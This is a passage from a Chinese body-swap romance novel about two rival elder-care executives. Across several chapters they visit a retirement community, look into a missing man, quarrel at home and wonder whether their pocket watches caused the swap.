刘助站定在办公桌前,许暻把旁边的那摞提案往前推了推:“我看过了,没什么问题,通过了。”
……
午休期间,许暻在祁聿的办公室里。
u盘里的东西已经看完了,停留在最后一页。
许暻的目光却不在电脑屏幕上,而停是在桌前的纸上。
那上面写了一个地址。
是许爷爷、许奶奶车祸肇事者妻子的住址。
右手下意识地摸腕上的手镯,最后触及的确实冰凉的手表。
无声叹了口气,许暻把那张纸折起来放进了口袋。
任由电脑上的文件摆在那里,她直接靠在了椅背上小憩。
昨晚休息的时间实在太短。
许暻很快睡着。
只是没过多久,她恍惚听见熟悉的声音,跟着门外好像有人在输密码,脚步声越靠越近。
许暻猛地惊醒,猝然对上熟悉的视线。
几乎是瞬间清醒,身体骤然直起,椅子跟着往后滑了滑,好在及时稳住。
许暻语气略显惊讶:“你怎么来了?!”
祁聿这会儿穿着一身简单的运动装站在这里,脚上是前不久许暻新买的平底鞋,长发随意绑在脑后,没有一丝拘谨。
没等他开口,跟在后面的刘助还是进来解释了一嘴:“祁总,许总说来找您,她知道密码直接进来了……”
刘助刚午休起来,结果就在电梯口撞见‘许暻’,他还没反应过来,那人便风风火火地直奔祁聿的办公室,甚至连门都没敲,熟练地输了密码。
闻言,许暻快跳出嗓子眼的心又是一紧,她连忙应声,让刘助先出去了。
“祁总,您下次来之前好歹提前说一声吧?当自己突击队呢还搞突袭那一套。”许暻从椅子上站起身,顺手开了午休前关上的窗帘。
晃眼的阳光透进来,许暻眯了眯眼,等再转身时,祁聿已经坐到了电脑前。
许暻下意识抬手,想把人弄起来。
但还是晚了一步——
祁聿握着鼠标晃了晃,待机的电脑屏幕重新亮起,恰好停在那份他再熟悉不过的文件上。
许暻转身想溜,被他横腿一拦:“你跑什么?”
脚步一乱,许暻稍稍一呛,有些尴尬,清了清嗓,跨步到对面的椅子旁坐下:“我没跑啊,我就是找地儿坐下来。”
祁聿的视线在她身上停了停,又快速滑动鼠标,不知道是在做什么。
他陡然问了句:“都看完了?”
许暻知道他问的什么,悄然回避他的视线,沉吟片刻后又不答反问:“你突然过来有事吗?”
祁聿继续手上的动作,解释道:“弄了个新的防御墙,总不能让社区的事又发生一次。”
许暻瞬间没了兴趣,往后一靠,接着转移他的注意力:“你弄了新的防御墙,人家没准儿也精进技术,系统不还是会被篡改?”
“那我也再精进嘛。”祁聿的话里稀奇地带了语气词,“许总,科技肯定是会与时俱进的,和你的人文一样。”
“……”
许暻被他的话塞了回来。
她的毒舌输出头一次没在祁聿身上发挥作用。
不等她再输出,祁聿又把话题牵了回来:“你还没回答我的问题,我写的那些你都看完了?”
许暻再次越过,假装看时间,嘴里大声念叨:“哎哟几点了,下午还得去社区那边,你桐馨的活儿干完了吗?你可别耽误……”
祁聿及时止住她的话,不给她继续说下去的机会:“桐馨的事绝对没问题,社区那边稍微晚一点去不耽误,现在还早,你先回答我。”
“……”绕不开,许暻直接选择装死。
就像早上那样。
不回答他还能撬开她的嘴不成?
然而祁聿没有用许暻想象的‘武胜’,而是用‘智取’。
还是用许暻最招架不住的激将法。
“这样,我不逼你回答,只要你能赢我,我就不问了。”
许暻不做声。
祁聿故意挑眉:“许总怕了?”
“……”
明知是故意挑衅,但她就是激不得。
“怎么赢?”
祁聿满意笑笑:“石头剪刀布,跟之前一样,谁输了谁就赢。”
十秒后,许暻看着自己捏起的‘石头’砸了脚,愣在原地。
祁聿笑得更畅快:“许总,该兑现承诺了。”
她还想耍赖,祁聿却像是提前料到一般,在她起身前拽紧她的手腕,她根本走不了。
“小暻,这成功的企业家,都得说到做到才行。”
许暻已经对这个从他嘴里出来的称呼脱敏,身体没再那么紧张,可还是隐隐不服气。
几秒的挣扎之后,她直接甩开他的手,直接豁出去了:“是,看完了,没有感想,不做评价。”
说完,她还学着祁聿之前的模样,两只手放进裤兜,扬起下巴装酷。
只是模仿得生涩,有些滑稽:“祁总,意满离了?”
她起了范儿,祁聿也来了劲,瞟了一眼电脑里正在下载的系统,起身走到她身边,刚抓住她的两只手,还没继续接下来的动作,门口就来人了。
刘助在外头敲门。
打闹戛然而止,许暻让人进来了。
他是来汇报事情的:“祁总,警局那边有了消息,说是查到入侵护理床系统的电脑,不过查明身份后,只是个普通网民,背后的人黑了他的电脑,直接把人当肉鸡。”
“这人估计也没想到有人通过自己的电脑黑咱们的系统,他忙着工作,电脑已经重刷了,所以…怕是找不到背后那人了。”
对于找不着人,许暻其实也不意外。
摆明了冲着颐安来的,指定是行业内的人,自然会好好藏着。
她瞟了眼祁聿,嗯了一声,又顺带问了句:“林澄的寻人贴怎么样了?有什么消息吗?”
刘助摇头,寻人贴发出去也有几天了,该做的宣传他也盯着人做了,就是一道有用的消息都没有,眼下只能慢慢等。
意料中的结果,许暻沉了沉气,没再说话。
刘助没急着出去,视线迅速扫过‘许暻’,又提醒‘祁聿’:“祁总,车已经在楼下等好,现在可以去社区那边了吗?”
一直在旁边默不作声的祁聿倒是先站出来,说要一起去。
刘助朝‘祁聿’投去目光,等着‘他’的反应,没想到‘祁聿
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’都不带犹豫的就答应了让‘许暻’一起。
看来两人真是坠入爱河了。
祁聿一哭,许暻就直接跑过来哄,还直接陪人去社区。
丝毫没注意到内心戏如此丰富的许暻还在提醒祁聿把系统下载完。
……
养老社区内。
老人们午休的时间刚刚结束,服务站的人已经在张罗着老人们下午茶的安排,护士正进行每两小时一次的巡查,有几个护工甚至带着老人在阳台边晒太阳。
这样的场景,祁聿稍微有些陌生——
在他看来,这里的秩序稍稍有些混乱。
可不知道怎的,似乎是在桐馨以许暻的身份工作了一段时间,这种陌生好像很快就被他适应了。
他稍稍侧头:“你干的?”
许暻觉得他这话问得没意义,反驳道:“不然是你干的?”
反驳之余其实还有些惶恐,生怕祁聿来指出什么不是。
好在她的担心完全是多余。
祁聿挑挑眉,语气不咸不淡:“还不错,没有我想象中那么坏。”
听言,许暻‘嘁’了一声,没接茬。
她跟着刘助一起直奔吴奶奶的房间,走廊上的几位老人这一次还主动和她打招呼:“祁聿过来啦?”
以前和社区里的老人们都是保持着距离的,在桐馨也是以许暻的身份,听见这样的称呼,祁聿初显不自在。
许暻倒是完全不别扭,笑着回应,十分享受。
她回头悄声说了句:“祁总,这种活人气息不是更好?”
没顾祁聿的回答,她一心奔着吴奶奶去。
才靠近吴奶奶的房间,就听见她爽朗的笑声,像是在和人说话。
不过走近了许暻才完全听出来,她是在和智能手环里的语音助手聊天。
语音助手不知道是说了什么,引得吴奶奶大笑。
许暻恰好进了房间,吴奶奶肆意张开的唇角昭示着内心的欢喜,脸上的皱纹不再是岁月的印痕,反而成了欢欣的轨迹。
闻见响动,吴奶奶还没合拢嘴,目光触及‘祁聿’温煦的视线,又笑得更灿烂。
见到想见的人,吴奶奶立刻扔了手中的智能手环,立马小跑过来:“哎哟小聿来啦!我可得好好感谢你啊!”
许暻一面迎一面扶,生怕老人摔倒。
被老人的亲昵打动,她笑着答:“您不用感谢我,这其实也是我们社区的失误,倘若仔细一点,您也不会低血糖。”
然而吴奶奶却不这么想,一直说自己是多亏了‘他’,毕竟之前他们已经熟悉社区的生活情况,甚至习以为常,况且吴奶奶自己又是不怎么需要护工照料的老人,是她没提前说一声,又忘了按铃,害得最后所有工作人员又担心一场。
好在‘祁聿’及时发现,不然这低血糖再严重一点,指不定会出什么事。
吴奶奶拉着许暻坐在床边,嘴里感谢的话不听,甚至还专门写了封感谢信给她,还要送吃的给她,许暻好不容易才回绝了,只收了感谢信。
祁聿站在旁边,看了看吴奶奶,又瞟了瞟许暻,嘴唇微抿,一直保持着沉默。
等到终于从吴奶奶房间里出来,许暻第一时间把信给了祁聿:“吴奶奶写给你的,看看。”
祁聿没拿:“是你救了她。”
可许暻执意要给他:“人家刚刚叫的小聿,你先看了再说。”
34. 氧气+34
祁聿最终还是收了那封信。
许暻又说要去看看张奶奶,念及张奶奶对‘许暻’有应激,她让祁聿自己去转转。
两人才打算分开,结果在转角迎面碰上搀扶张奶奶出来晒太阳的王阿姨。
四个人同时愣在原地。
祁聿第一时间往许暻身后退,想即刻离开。
许暻也瞬间配合他的动作。
然而张奶奶还是迅速抓住了祁聿的手腕,像是拉开了引火线被扔进湖里的一颗炸弹,触及水面的那一刻瞬间炸开,掀起轩然大波。
“是你!”张奶奶使出了所有力气去抓祁聿,又看到他手腕上的镯子,尖锐的嘶吼声瞬间响彻整个二楼。
许暻和王阿姨几乎是立马拦上去,可老人的力气实在是大,死死抓着祁聿不肯松手。
不远处的护士听见动静,很快通知了医生,又赶紧过来帮忙。
其他的老人在远处围观,不敢轻易上前。
张奶奶的瞳孔缩起,恶狠狠地睨着祁聿,嘴边依旧是他们再熟悉不过的话:“你们见死不救!你们见死不救!”
许暻这会顾不得其他,只能帮着祁聿先挣脱她恨不能把指甲掐进去的手掌。
最后四个人合力,终于拉回了张奶奶的手。
她却依然往前挣扎,想再次抓住祁聿,好在祁聿及时躲开,医生又及时过来给人注了镇静。
半小时后,张奶奶躺在床上,微量的镇静药已经足够平息她的激动。
她盯着周围的人看,没了刚才的身影,她又迅速吐了口气出来。
最后目光回到许暻身上。
似乎是找到了安全感,她又开始叫喊:“那是桐馨的人!是桐馨!他们见死不救!”
不同于对祁聿嘶吼的愤怒,许暻觉得此刻张奶奶是在向她诉苦。
这个时候她反而能说清话,像是老年痴呆病程中偶尔的清醒时刻。
许暻凛了凛神,这一次没有再转移话题,反而顺着问下去:“奶奶,您这是什么意思?他们为什么是见死不救?”
她看到老人的双眸中渐渐含了泪水,言语没有那么顺畅,但还是有基本的逻辑:“阿澄…那群人……害死……害死阿澄……是…是许院长不救……”
许暻的眉头拧得越来越紧,下意识问出:“阿澄死了?您怎么知道的?您是亲眼看到了许院长吗?”
冰凉的泪水从眼角滚落,顺着老人脸上的皱纹慢慢往下流,老人抽噎了一下,身子又是一阵短暂的抽搐。
许暻轻轻拍了拍老人的胸口,帮她顺气,等她继续往下说,老人的眼眸却又变得混沌,把她认成了林澄。
“阿澄……阿澄来了……想……好想……”
她捏紧了许暻的手。
许暻完全云里雾里的,又追问了一次,奈何老人已经不再回答她。
无奈,最后只能先安抚老人。
……
祁聿一直在阳台等着许暻出来。
他也没干等,透过阳台的排窗,能看到部分房间里老人的状况。
有的老人这会已经在活动室里自行娱乐,有的老人还在房间里坐着休息。
他注意到了那几个新进来的护工,知道许暻也参与了当时的面试。
这几个护工倒是跟颐安原本的护工有些不一样。
他们会主动亲近老人。
就像桐馨聘请的那些护工。
要说他完全能接受,那也不是真心话。
毕竟他的原则并不是凸显人文那一套,恰恰他所认为的科技养老是要秉持在最大限度内节省人力的原则的。
可那样她会不喜欢。
心里又开始矛盾起来——
到底是他真的愿意接受这一切,还是只是因为她才接受。
她那么坚持他的原则,他难道一定要舍弃他的原则才能靠近她吗?
科技与人文并重,他真的这么想吗?
心稍稍有些乱,一股躁意燃起,他转了个身,没再看房间里的状况,朝着外面深吸了口气,又缓缓吐出来。
然而躁意未减,祁聿急需找点什么东西来转移注意力。
不想看手机,摸遍全身,又无意间触到了那封感谢信。
盯着封面看了看,左下角写着几个笔顺流畅的小字:致祁聿。
两秒后,祁聿直接掏出里头的信来看。
吴奶奶的字确实漂亮,也很会排版,光是看上去就已经赏心悦目。
信里大多是一些感谢的话,表达了自己当时的后怕,又很庆幸‘祁聿’及时发现,更喜欢整改之后的社区。
吴奶奶说,自己虽然喜欢和语音助手聊天、能适应模式化的生活,但适当的自由一些,她会觉得这里更像是她晚年的家。
如果能和社区里的老人和护工处得像朋友,大家很少有距离感,这里更会像是美好的天堂。
他又想起那天吴奶奶差点出事的情形。
当时的紧迫和焦急又重新回到身体里,祁聿盯着那封信有些出神。
科技的弊端,难道恰好是用人文来弥补么?
相比高风险的节省人力,或许平均人力和科技才是更优抉择?
祁聿还没来得及继续往下想,思绪已经被许暻打断。
许暻一脸严肃地出来,祁聿很快收了信:“怎么了?”
许暻的视线快速从祁聿手里的信上扫过,此刻却没有心情谈论这些,转述了刚才张奶奶的话。
“所以林澄死了?”祁聿谈不上多意外,但也没有完全料到。
许暻摇头:“其实不能确定,她清醒的时间太短了,信息量也太少,我觉得还是得尽快带奶奶去做个全身检查才行。”
祁聿看了眼日期,“宋楹那边怎么说?如果可以,不如就明天。”
恰逢周末,他们也可以一起陪同。
“我问问她。”
……
公司已经没事,两人打算直接回家。
许暻难得开了车,不过开的不是祁聿的,是她自己的。
祁聿的车让刘助开回公司了。
祁聿在副驾驶联系人脉,说不能确定社区的入侵者到底是谁,也不确定是不是和张启林有关,眼下只能找人去探探张启林近期的动向,以免社区再出事。
祁聿在通讯录里找了几个熟悉的同学,有两个是和张启林目前就职的那家医药公司有合作关系,还有一个是前不久换工作刚入职那家公司的新职工,他给人发了消息过去。
只是无意间翻到一个熟悉的人,祁聿的动作顿了顿。
已经五年没跟这人联系,点进去之后,最后一条消息还是对方未接的语音通话。
他突然想到林澄
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的事,下意识朝身旁的人道:“你说游奕也没消息了这么久,会是和林澄一样的结果么?”
整辆车的方向突然不稳,许暻一怔,好不容易重新稳住方向盘,瞥他一眼:“你提他做什么?”
对于这个人,以前许暻把他当朋友。
后来,她已经有些怨他。
怨他平白无故没了消息,怨他让宋楹等了这么多年。
祁聿倒是实话实说:“如果游奕在,以他的门路,没准真能查到是谁干的。”
许暻却冷哼一声:“没准人家只是回瑞士当少爷去了,早就不想和我们有交集了。”
祁聿没再说话。
他联系的那几个同学很快给了回信,十分爽快地答应了祁聿的请求。
一来是念及同学旧情,二来祁聿现在也算得上是优质人脉。
等事情交代完,祁聿把手机放回了许暻的口袋。
车内安静了一阵儿,距离家已经不远了。
许暻突然感受到一阵灼热的视线。
她刻意忽略,装作没看见,那人又主动出声:“眼睛已经不怎么肿了。”
“……”
许暻踩油门的力度深了些,目不斜视,更没接话。
“可惜我的肩还是酸酸的。”
“……”
许暻仍然不回答,嘴唇抿起,又提了速。
她压根不想和祁聿聊回昨晚。
她不接茬,祁聿丝毫不勉强,就那么一直盯着她,不知道在想些什么。
许暻只听到他笑了声,又在她的手机上捣鼓了几分钟。
终于把车开到了停车场,许暻只想赶紧上楼。
哪想动作太急,一时手忙脚乱,手上的东西全掉了。
祁聿刚解了安全带,顺手帮她去捡手机,许暻一个没注意又在同时靠过来,两人的头就那么狠狠撞出一声闷响。
许暻倒吸一口凉气,疼得直往后退:“好疼!”
撞过来的那人也没好到哪去,身子没稳住,一只手又摁在了储物箱上。
祁聿忍着疼把手机递给她:“我来捡,小心点。”
他松了手,又去捡地上的纸巾和钥匙,却没注意到身旁的储物箱开了条缝隙。
许暻站在门外揉脑袋,视线悄然瞥到被震开的缝隙,正欲提醒祁聿,却陡然注意到里头放着的东西。
脑袋稍稍一歪,她往里凑近了些:“你也把怀表放这儿啊?”
可不知道是不是她的错觉,祁聿在注意到储物箱开了之后立刻给推了回去,匆匆嗯了一声,又迅速下了车。
“走吧,上楼。”
许暻被他推着进了电梯,视线却没收回来。
她垂眸看着那张略显心虚的脸,直接问了出来:“你心虚个什么劲?”
祁聿横眸瞥过来,却不给回音。
许暻更想不通,接着追问:“祁总这是装死呢?”
祁聿终于侧过头,却冷不丁答了句:“跟你学的,你今天逃避我的话逃了一天了。”
“……”
被他突然一呛,许暻完全没了再问下去的冲动,尴尬地挠了挠下巴,一言不发。
进了屋想回房躲着,祁聿却喊她进厨房帮他切肉,许暻想拒绝,祁聿又及时抛出让她无法拒绝的理由:“宋楹一会要来。”
“啊?”
35. 氧气+35
“楹楹来做什么?”许暻不解,如果是张奶奶的身体检查,她刚刚在手机上已经问过了。
祁聿却故意卖关子,说等人来了就知道了。
许暻斜睨他一眼,嘴上仍然不太情愿,却还是接过他递来的东西。
两道背影并行在岸台边,除了手里切菜的声音,两人一句交流也没有。
只有浅慢的呼吸声萦绕在耳边,身旁人若有似无的温度时不时扑过来一些,稍稍打乱了规律的心跳。
许暻加快了手里的动作,只想快点弄完赶紧出去。
这样的气氛太过奇怪。
身旁的人又突然冒出一句:“小心切到手。”
许暻稳着心神,继续手上的动作,不想受他的干扰:“祁总管好自己就行,关心竞争对手小心最后输得惨不忍睹。”
她了解他,一般这个时候他要么怼回来,要么闭嘴,脑海中已经在想回击的招数,祁聿却不按以往的套路出牌。
他把切好的菜精致摆盘,低笑一声:“我们也可能是合作伙伴吧?”
停顿片刻,他又纠错道:“确切地说我们现在也能算是合作伙伴吧?上一次的益智游戏,咱们可是签合同了。”
许暻一时语塞,气势也跟着弱了下来。
正想着措辞,刚要出口回怼,门铃突然响了。
祁聿唇边的弧度还没平下来,转头往门口望:“应该是宋楹到了,我去开门。”
“……”
到了最边的话没说出来,许暻忿忿吐了口气,小声嘟囔:“抽风怪。”
许暻听见门口的动静很大,刚转头,宋楹已经站在跟前。
身体下意识往后一缩,许暻放下手里的刀:“楹楹,你怎么突然过来?”
宋楹却眯着眼,往她跟前凑了凑,语气稍稍不满:“当然是专门来找你的。”
眼睫迟疑地眨了一下,许暻疑惑开口:“什么事儿?”
宋楹又往后瞥了一眼,祁聿若无其事地站在后边,十分镇定。
许暻跟着瞟过去,还是没懂宋楹想说什么。
最后被她直接拉去阳台,又特意关了门。
隔着两扇玻璃门,许暻无意间瞄到厨房里的人朝这边望了一眼,似有深意地笑了笑,又很快转身。
眉头稍稍蹙起,许暻更加困惑地扯了扯唇,转了身,正想开口,宋楹的一句话就把她问住了。
“你最近瞒了我很多事。”
指腹在玫瑰花瓣上轻轻摩挲,听见这话,许暻的动作停了停。
侧头看去,宋楹神色未变,依旧眯着眼。
只是许暻觉得隐隐不对劲。
大脑迅速思考,实在想不起自己瞒了什么事:“我瞒你什么了?”
许暻的语气完全是懵的,奈何宋楹偏偏那么肯定,让她莫名跟着心虚。
“你和祁聿的事。”
提及此,许暻第一反应是否认:“我和他有什么事?”
宋楹直接掏出证据:“你别想瞒着我,祁聿都给我发了消息了。”
“什么消息?”
许暻大脑一片空白,恍神片刻,动作也跟着慢了几拍。
手机被宋楹放进掌心,她定神看去,正是不久前两人的聊天记录。
「祁聿:许暻这两天一直躲着我,直接问她又不回答我,一般这种情况怎么办?」
「宋楹:你俩吵架了?」
「祁聿:当然没有,就是我改了个称呼,叫她小暻之后,她就开始躲我了,昨晚又抱着我哭,但是早上起来之后又突然变了样,我在想她是不是情绪不太好,憋在心里总是不好的,毕竟她现在也还是在我的身体里。」
「宋楹:什么?!小暻哭了?你等着,我下班去你们那!」
“……”
许暻后知后觉,在车上那会,祁聿捣鼓她的手机是在和宋楹发消息。
额间不知道什么时候挤出了两道细纹,许暻的注意力一时半会收不回来。
看着这几条消息,心口五味杂陈。
喉间猛地一哽,新鲜滚烫的咒骂在舌尖转了一圈。
许暻没来得及开口,宋楹已经先她一步:“祁聿怎么惹你了?你怎么哭了?还是抱着他哭?你们俩真在一起了?”
面对宋楹的质问,许暻的大脑有片刻的短路,好不容易咬紧牙关,才把险些脱口而出的对祁聿发射的毒刺碾碎在齿间。
她立刻反驳:“他乱说!我是因为梦到爷爷奶奶才哭的,什么在一起了?就抱了一会儿而已,有…有什么大不了?”
许暻还盯着祁聿发的那几句话。
吞下去的话在心里盘绕,意识已经想一拳抡倒他。
这人居然使阴招?还有这几句完全不像他风格的话,摆明了就是故意的!
他这又是从哪儿学来的这些?
光是隔着屏幕,她都能闻到四溢出来的茶香。
灵魂互换还有这种功能?怎么到她这儿就什么都没有?
“那你躲他?”宋楹依旧不肯轻信。
那天在会所吃饭的时候她不是没看到,许暻的脸都红成那样了,祁聿又一直盯着她看。
许暻一时语顿,把手机还给了宋楹,又去弄她的玫瑰花,心虚解释:“谁…谁说我躲他了?不想跟他说话还不行了?”
脸颊被灌进来的冷风吹得肌肉微微发紧,许暻手上的动作也乱了节奏。
宋楹一眼识破,强硬摆正她的身体,“就嘴硬吧你,我看你就是对他还有感觉。”
“我没有!”许暻拒不承认。
为了证明自己,许暻甚至直接开了门,想去找人当面对峙:“我现在就去跟他说清楚,我们俩绝对不是你想的那样!”
然而刚冲到祁聿跟前,许暻一个滑步,险些摔倒。幸好祁聿反应快,眼疾手快地搂住了她的腰。
祁聿赶紧关了火,又把人扶稳。
“别跑那么快。”
步子没稳,气势也被折断,许暻完全挂不住面,却依然倔强,重新站稳,硬着头皮道:“我没躲着你,也没憋在心里,就是不想说太多话而已,你别多想,也不准再乱说!”
宋楹在旁边看着,等着祁聿的反应。
祁聿似乎早料到许暻会来找他对峙,略有深意地“哦”了一声,拖着长长的尾音。
接着又顺着她的意思说:“那看来是我理解错了,那既然如此,我就直接开门见山了,昨晚给许总用了,今天是不是该给我点补偿?”
他又做作地揉着她昨晚靠了两个小时的肩。
“……”
许暻暗暗发誓:以后绝对不会再当着他的面哭!
果然在祁聿面前丢脸就像留了案底一样,绝对会被他拿出来鞭笞!
“你能不能好好说话?”许暻几乎咬着牙道:“什么‘用’了?那最多就算是借了你的肩膀,说得准确一点,那还是我自己的肩膀!”
“但是现在这具身体确实是我在里头嘛。”那人依旧做作,语气也欠欠的。
宋楹在一旁都有些看呆了。
以前她也没想过祁聿还有另一面。
她也不破坏气氛,接着看戏。
许暻以为祁聿是想薅她一把,为了避免他再传播不实消息
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,她很快妥协:“你就是想给我开个条件是吧?为了你的科技养老还真能豁出去哈?说吧说吧,不然我以为你真转性了。”
见那人神色明显转变,许暻以为自己真猜对了,下意识串起这几天他的反常,了然之余又隐隐失望。
直到祁聿又开口击碎了她才串好的逻辑。
“我是有个条件,不过现在还不是说的时候,跟科技养老没关系,只跟你有关系,怎么样,你要不要先答应着?”
许暻本能地看向宋楹,朝她递去不解的目光,心口莫名地用力顶了顶,对于问题的答案更是举棋不定。
宋楹嘴边挂着了然一切的笑,不过没有参与其中,这是他俩的事,还是得许暻自己做决策。
许暻不明白宋楹的意思,又茫然地回头看祁聿,鼻息间还飘着从锅里冒出来的香味儿。
她突然饿了,大脑回忆起祁聿做的那些菜的味道,有些想快点吃饭。
执棋的手瞬间有了偏向,最后还有几分停顿要不要彻底落下去,嘴已经快了一步:“行啊,我答应。”
只要祁聿不再乱说,开条件就开条件呗,就算他针对她,这几年她也没在怕的。
祁聿眼眸一亮,生怕许暻反悔似的,又让宋楹当见证人。
许暻完全不介意,又拍着胸脯保证自己绝对说到做到。最后催促着祁聿做饭,重新拉上厨房的玻璃门。
她又朝宋楹摊了摊手,继续证明自己:“我说清楚了,他就是故意的,我对他也绝对没感觉!”
这一次宋楹不再说什么了,还保持着刚才的神色,许暻怕她不信,又重复了几遍。
宋楹最后只说了句:“我现在总算是知道祁聿为什么会给我发消息了。”
“是吧,为了给我开条件、给我下套,绕了这么大一个圈子,你说说这人是不是奸诈阴险?”
许暻以为宋楹是和自己一起吐槽祁聿,全然没意识到两人的话没说到一块去。
……
宋楹吃完饭没急着走,和许暻去房间待了一会儿。宋楹已经提前给张奶奶约过号了,明天她也上班,让许暻带着张奶奶直接去找她。
注意到她床上的炸毛玩偶,宋楹诧异开口:“这是你新买的?不像你的手笔呀。”
许暻向来看不上这些丑玩意。
“当然不是我买的,祁聿给的。”虽然还是嫌弃,但许暻已经看顺了眼。
“这你都能忍?”宋楹仍然意外。
许暻瘪嘴拍了拍床单,“每天看这只猪就能脱敏,没办法,寄人篱下嘛。”
话题没停多久,两人又聊着最近的事,聊到上头时,许暻想靠在宋楹身旁,却被这具身体约束,只能和她保持一定距离。
她无奈地躺在床上哀嚎:“求求了赶紧让我和祁聿换回来吧!”
“话说你们这接吻也换不回来,就没想想其他的办法?”宋楹也想念真正的许暻了,虽说知道这身体里是她的好闺蜜,但一‘男’一女单独在房间其实也有些别扭。
许暻也很无奈,想当初她还以为能很快换回去,自信地只带了一个小行李箱的衣服,谁成想根本换不回去。
“现在唯一有思路的只有暴雨天了,不过最近都不下暴雨。”
“就只有暴雨天了?你不是说还听到钟声吗?上次你跟祁聿差点换回来的时候那钟声从哪儿来的?”宋楹又问。
许暻也不太能确定:“我不知道那是不是我做梦听到的,可停车场里也确实没有能响钟声的东西。”
说着,她又顺手去拿下午从车里带回来的怀表:“总不能是我怀表的声音吧?”
36. 氧气+36
宋楹自然接过怀表,精致的表盘没有一丝被刮花,里头的秒针安安静静地走动,没有发出任何声响。
“这怀表都好多年了吧?”宋楹又把怀表翻了个面,找寻着背面有没有什么可能发出声音的按钮。
不过后面什么都没有,只有底盘下方印有这块表的编码。
“是啊,这是我刚上大学那会爷爷奶奶送的。”许暻应声,又提了嘴那天去修表的事。
闻言,宋楹坐起身,不知道想到了什么,又问:“那你那天去修表,怎么祁聿也在?他陪你去的?”
许暻当即否认。
这想想也是不太可能的事。
更何况当天恰好是行业论坛的日子,两人才互呛完。
“是他的表也坏了,碰巧遇上而已。”许暻漫不经心解释。
“这么巧?”宋楹稍稍存疑。
相比于这种巧合,许暻觉得祁聿的表也是爷爷送的更巧。
“也是许爷爷送的?还是情侣表?”宋楹没控制好神情,直接笑出了声。
又接着调侃:“那许爷爷这是已经把祁聿当成是孙女婿了?”
话题突然没了正形,许暻只能先把宋楹拉回来,解释说只是因为祁聿喜欢,爷爷才送给他。
宋楹也不知道信了没有,嘴角的弧度始终没下来。
许暻又继续道:“而且你知道这人就是个学人精,我一直把这表放在车子的储物箱里,今天我看他也放那了。”
宋楹又盯着表看了一圈,重新送回许暻手上。
见许暻一脸愤然,她又安慰:“没准儿他也是这个习惯,一直放在储物箱里呢。”
宋楹随口而出的一句话,让许暻稍稍僵住——
他也是这个习惯?
那上次暴雨夜……他们俩的怀表都在?
一阵熟悉的感觉回来,许暻感觉好像已经抓住了什么。
只是没来得及抓牢,思绪又陡然中止。
“发什么呆呢?”宋楹的胳膊肘顶了顶她。
许暻很快回神,觉得自己是想复杂了。
怀表怎么可能导致他们灵魂互换?
况且第一次的暴雨夜,他们的怀表都还在林老板那里。
竖起食指晃了晃,许暻否决:“我今天问他,他还心虚呢,不就是被抓包的尴尬嘛。”
不等两人接着往下聊,房门突然被敲响。
祁聿说找她有事。
眼看着时间也差不多了,宋楹打算回家。
和宋楹约好了明天见面的时间,又把人送去了停车场,两人才回家说正事。
许暻自得地靠在浅蓝色沙发上,几乎要适应了这些多巴胺风格的家具。
还是那句话,寄人篱下,既来之则安之,她也没办法。
祁聿拿了手机从房间里出来,语气平淡:“周擎越说明天想一起。”
“师兄?”许暻有些意外:“他怎么知道的?”
祁聿直接把手机送到她手里。
页面停留在‘她’和周擎越的聊天界面。
周擎越想约‘她’出来吃饭,祁聿以有事为由拒绝,然而周擎越又说可以等‘她’忙完,又搬出两人许久没见这一套,想和她单独叙叙旧。
祁聿直接挑明‘她’要和‘祁聿’一起去医院,给养老社区的一个奶奶做个体检。
紧接着周擎越说他可以过来帮忙,恰好他周末也没什么事。
这也是最后一条消息,祁聿没有回复过去。
“不太方便吧?”许暻抬眸看向对面的男人,那人似乎有一瞬的惊喜。
她又接着补充:“况且现在我也没办法和师兄单独叙旧,你又不是我。”
才冒出的情绪又瞬间消失在了眸中。
祁聿又莫名其妙道:“你拒绝了人家还指不定觉得你性情大变,又开始多想呢。”
许暻不知道是不是自己听错了,总觉得这人的语气酸酸的。
不过仍然没给他留面,直言道:“我是怕你装不像。”
话音刚落,那人刻意扬了扬下巴,语气里带了点傲娇的味道,说自己完全能装得来,没在外人面前露出过破绽。
许暻仍有犹豫,祁聿又正色道:“正好我不是不方便接近老人吗?就让周擎越来帮帮忙。”
他眼眸半眯,许暻摸不清他在想些什么。
半刻思虑之后,许暻再次确认了一遍:“你确定你愿意单独跟我师兄吃饭?”
上次他送完周擎越回来之后的反常样子她还没忘。
祁聿并没有给她明确的答案,只说先让他来了再说。
……
许暻还没完全醒,就已经闻到了飘进房间里的咖啡香。
等她洗漱完出房间,咖啡已经放在她的位置上。祁聿还在厨房。
她没急着过去,转身去了阳台看她的玫瑰。
正想给玫瑰浇水,嘴角却突然僵住。
许暻赶紧放了手里的喷壶,又弯下腰仔细检查几盆玫瑰花的状况。
两分钟后,她愤愤起身,直接冲到厨房,不顾祁聿还在调料汁,单手把人拎到阳台:“你怎么浇水的?!”
祁聿还没反应过来,怔怔眨眸,顾不上有些脏的手,在围裙上迅速抹了两下,撑住玻璃门稳住身形。
顺着许暻的视线看过去,祁聿一时无言——
几盆玫瑰花都蔫蔫的,有几片花瓣已经有腐烂的迹象。
盆栽里的土也是湿湿的。
一眼就能看出是他浇水浇多了。
“我都是正常浇水的啊。”说这话时,祁聿明显没什么底气。
“你正常浇是怎么个浇法?”许暻问。
脸色明显不太好。
祁聿底气依然不足,声音也压低了些,“喷壶喷完,昨晚喷了,今早也喷了。”
“喷完?!”
许暻看着和热水壶差不多大小的喷壶,十分后悔昨晚没仔细看看这些玫瑰花,更后悔没告诉他该怎么浇水。
她还以为他什么都会呢。
“祁总,您在浇水之前没有查过要怎么养花吗?”
许暻的情绪明显激动起来,祁聿更加心虚,解释说自己看到网上那些卖花的都说要给玫瑰喷多点水,看上去才更漂亮、更新鲜。
还专门找了他看到的帖子。
许暻盯着标签里的卖花指南,突然对他以前的‘游刃有余’的滤镜碎了一地。
她放大标签那一块,怼近他的脸道:“人家这是卖花不是养花,祁总,您的脑子出走了是吧?”
“……”
祁聿明显噎住,后知后觉,脸上有些挂不住。
他清了清嗓,又很快找补:“就当…就当我一时失误,我
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一会重新去买几盆新的玫瑰补偿给你。”
许暻睨他一眼,心疼地看着这几盆玫瑰花,拿起吹风机想给土壤散散水分,尽力补救。
只是水分太多,是个耗时间的大工程,祁聿让她去吃早饭,他来吹。
许暻却不太相信他,坚持自己来。
争执到最后,时间也不早了,祁聿坚决抢过吹风机,说他全权负责,要么把这几盆玫瑰救回来,如果救不回来他会去买新的,以后肯定不会再失误。
考虑到张奶奶的情况,许暻妥协了。
……
祁聿开车带着许暻和张奶奶,还有陪同一起的王阿姨到了医院停车场。
